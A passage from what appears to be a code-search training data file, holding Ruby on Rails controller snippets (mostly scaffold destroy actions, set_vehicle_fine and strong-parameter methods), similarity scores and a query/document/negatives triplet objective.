"def destroy\n @chase_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(vehicles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(vehicles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle_model.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_models_url }\n format.json { head :no_content }\n end\n end",
"def deleteVehicle _args\n \"deleteVehicle _args;\" \n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @vibe.destroy\n respond_to do |format|\n format.html { redirect_to vibes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @droparea = Droparea.find(params[:id])\n @droparea.destroy\n @vehicle = Vehicle.find(1)\n\n respond_to do |format|\n format.html { redirect_to edit_post_url(@vehicle) }\n format.json { head :no_content }\n end\n end",
"def delete(vmname)\n uri = @uri + \"/#{vmname}?api-version=#{api_version}\"\n uri\n end",
"def destroy\n @depot_fuel.destroy\n respond_to do |format|\n format.html { redirect_to depot_fuels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @unit_fuel.destroy\n respond_to do |format|\n format.html { redirect_to unit_fuels_url }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @add_fuel.destroy\n respond_to do |format|\n format.html { redirect_to add_fuels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def destroy\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to physical_racks_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @vehicel = @user.vehicels.find(params[:id])\n @vehicel.destroy\n respond_to do |format|\n format.html { redirect_to user_vehicels_path(@user) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @roadblock.destroy\n respond_to do |format|\n format.html { redirect_to \"/roadblocks-dash\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle_realtime.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_realtimes_url, notice: 'Vehicle realtime was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fuel_balance.destroy\n respond_to do |format|\n format.html { redirect_to fuel_balances_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bride.destroy\n respond_to do |format|\n format.html { redirect_to brides_url, notice: 'Bride was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sinh_vien = SinhVien.find(params[:id])\n @sinh_vien.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @beacon = Beacon.find(params[:id])\n @beacon.destroy\n\n respond_to do |format|\n format.html { redirect_to beacons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @railway = Railway.find(params[:id])\n @railway.destroy\n\n respond_to do |format|\n format.html { redirect_to railways_url }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @vehicletype.destroy\n respond_to do |format|\n format.html { redirect_to vehicletypes_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def destroy\n @broad = Broad.find(params[:id])\n @broad.destroy\n\n respond_to do |format|\n format.html { redirect_to broads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle_boat_part.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_boat_parts_url, notice: 'Vehicle boat part was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @roadstop.destroy\n respond_to do |format|\n format.html { redirect_to roadstops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n @loadbalancer.send_delete\n\n respond_to do |format|\n format.html { redirect_to loadbalancers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n @tipo_vehiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_vehiculos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subway.destroy\n respond_to do |format|\n format.html { redirect_to subways_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @ball_flight_item = BallFlightItem.find(params[:id])\n @ball_flight_item.destroy\n\n respond_to do |format|\n format.html { redirect_to ball_flight_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food_truck.destroy\n respond_to do |format|\n format.html { redirect_to food_trucks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle_info.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_infos_url, notice: 'Vehicle info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @road = Road.find(params[:id])\n @road.destroy\n\n respond_to do |format|\n format.html { redirect_to roads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n record = InvoiceLineItem.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle_submodel.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_submodels_url, notice: 'Vehicle submodel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @check_vehicle_status.destroy\n respond_to do |format|\n format.html { redirect_to check_vehicle_statuses_url, notice: 'Check vehicle status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subway = Subway.find(params[:id])\n @subway.destroy\n\n respond_to do |format|\n format.html { redirect_to subways_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @admin_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to session['previous_url'] || admin_vehicles_url, notice: \"#{italian_type[@vehicle_type.to_sym]} cancellata con successo!.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vechicle.destroy\n respond_to do |format|\n format.html { redirect_to vechicles_url, notice: 'Vechicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fueltype = Fueltype.find(params[:id])\n @fueltype.destroy\n\n respond_to do |format|\n format.html { redirect_to fueltypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle_type.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @business = Business.find(params[:id])\n @business.destroy\n\n respond_to do |format|\n format.html { redirect_to businesses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle_end_of_life.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_end_of_lives_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vegetable = Vegetable.find(params[:id])\n @vegetable.destroy\n\n respond_to do |format|\n format.html { redirect_to vegetables_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @visit = Visit.find(params[:id])\n @visit.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @linea_uv.destroy\n respond_to do |format|\n format.html { redirect_to lineas_uv_url, notice: 'Linea uv was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @getinvoicedatum = Getinvoicedatum.find(params[:id])\n @getinvoicedatum.destroy\n\n respond_to do |format|\n format.html { redirect_to getinvoicedata_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoiceline = Invoiceline.find(params[:id])\n @invoiceline.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoicelines_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n render json: Company.delete(params[\"id\"])\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @vehicle_reservation.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_reservations_url, notice: 'Reserva excluída com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contract = Contract.find(params[:id])\n @contract.destroy\n\n respond_to do |format|\n format.html { redirect_to tower_contracts_path(@tower) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @beef.destroy\n respond_to do |format|\n format.html { redirect_to beefs_url, notice: 'Beef was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bustour.destroy\n respond_to do |format|\n format.html { redirect_to bustours_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vet = Vet.find(params[:id])\n @vet.destroy\n\n respond_to do |format|\n format.html { redirect_to vets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @refugee.destroy\n respond_to do |format|\n format.html { redirect_to refugees_url, notice: 'Refugee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agent = @business.agents.find(params[:id])\n @agent.destroy\n\n respond_to do |format|\n format.html { redirect_to business_agents_url(@business) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @serving = Serving.find(params[:id])\n @serving.destroy\n\n respond_to do |format|\n format.html { redirect_to servings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @consensu = Consensu.find(params[:id])\n @consensu.destroy\n\n respond_to do |format|\n format.html { redirect_to consensus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle_army.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_armies_url, notice: (t 'vehicle_armies.title')+(t 'actions.removed') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n @status.destroy\n\n respond_to do |format|\n format.html { redirect_to statuseses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehiculo.destroy\n respond_to do |format|\n format.html { redirect_to vehiculos_url, notice: 'Vehiculo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy_rest\n @instrument_version = InstrumentVersion.find(params[:id])\n @instrument_version.destroy\n\n respond_to do |format|\n format.html { redirect_to(instrument_versions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @business_sector = BusinessSector.find(params[:id])\n @business_sector.destroy\n\n respond_to do |format|\n format.html { redirect_to business_sectors_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def destroy\n @mostsmallroad = Mostsmallroad.find(params[:id])\n @mostsmallroad.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallroads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @brave_burst.destroy\n respond_to do |format|\n format.html { redirect_to brave_bursts_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end",
"def destroy\n @vehicule_perso = VehiculePerso.find(params[:id])\n @vehicule_perso.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicule_persos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @infrastructure = Infrastructure.find(params[:id])\n checkaccountobject(\"infrastructures\",@infrastructure)\n @infrastructure.send_delete\n\n respond_to do |format|\n format.html { redirect_to infrastructures_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @stolen_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to stolen_vehicles_url, notice: 'Stolen vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @basis = Base.find(params[:id])\n @basis.destroy\n\n respond_to do |format|\n format.html { redirect_to bases_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.6989613",
"0.69515395",
"0.69515395",
"0.69145066",
"0.6827327",
"0.6756159",
"0.67259556",
"0.6725226",
"0.67032343",
"0.6690313",
"0.6686954",
"0.6668574",
"0.66641843",
"0.66581887",
"0.6649907",
"0.6649907",
"0.6628465",
"0.66247714",
"0.66247714",
"0.66244024",
"0.66244024",
"0.66244024",
"0.66244024",
"0.6613013",
"0.66124487",
"0.6582937",
"0.65721756",
"0.6566935",
"0.6554441",
"0.6548901",
"0.6541296",
"0.6530614",
"0.6530614",
"0.6530614",
"0.6530614",
"0.65248424",
"0.6518784",
"0.65173066",
"0.65145123",
"0.65116894",
"0.65056264",
"0.649887",
"0.64890295",
"0.64838696",
"0.6467839",
"0.64564353",
"0.645412",
"0.6453057",
"0.64506",
"0.6428946",
"0.64285433",
"0.6417267",
"0.6416342",
"0.64147526",
"0.6412485",
"0.6406953",
"0.6406081",
"0.6402183",
"0.6399798",
"0.6399645",
"0.639816",
"0.63971865",
"0.63897556",
"0.63896817",
"0.63838804",
"0.6383274",
"0.6376474",
"0.6375513",
"0.63742435",
"0.6373698",
"0.63736206",
"0.63724154",
"0.63709396",
"0.6370098",
"0.6367318",
"0.63572705",
"0.63570416",
"0.63489246",
"0.63456744",
"0.63452744",
"0.6343083",
"0.6341781",
"0.6337366",
"0.6333864",
"0.63336736",
"0.63333374",
"0.6331044",
"0.63288105",
"0.6325963",
"0.6324702",
"0.6322287",
"0.6321209",
"0.631622",
"0.6315858",
"0.63156974",
"0.63153255",
"0.63144517",
"0.63141763",
"0.6313466",
"0.6313461"
] |
0.7003625
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_vehicle_fine
@vehicle_fine = VehicleFine.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def vehicle_fine_params
params.require(:vehicle_fine).permit(:vehicle_id, :fine_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
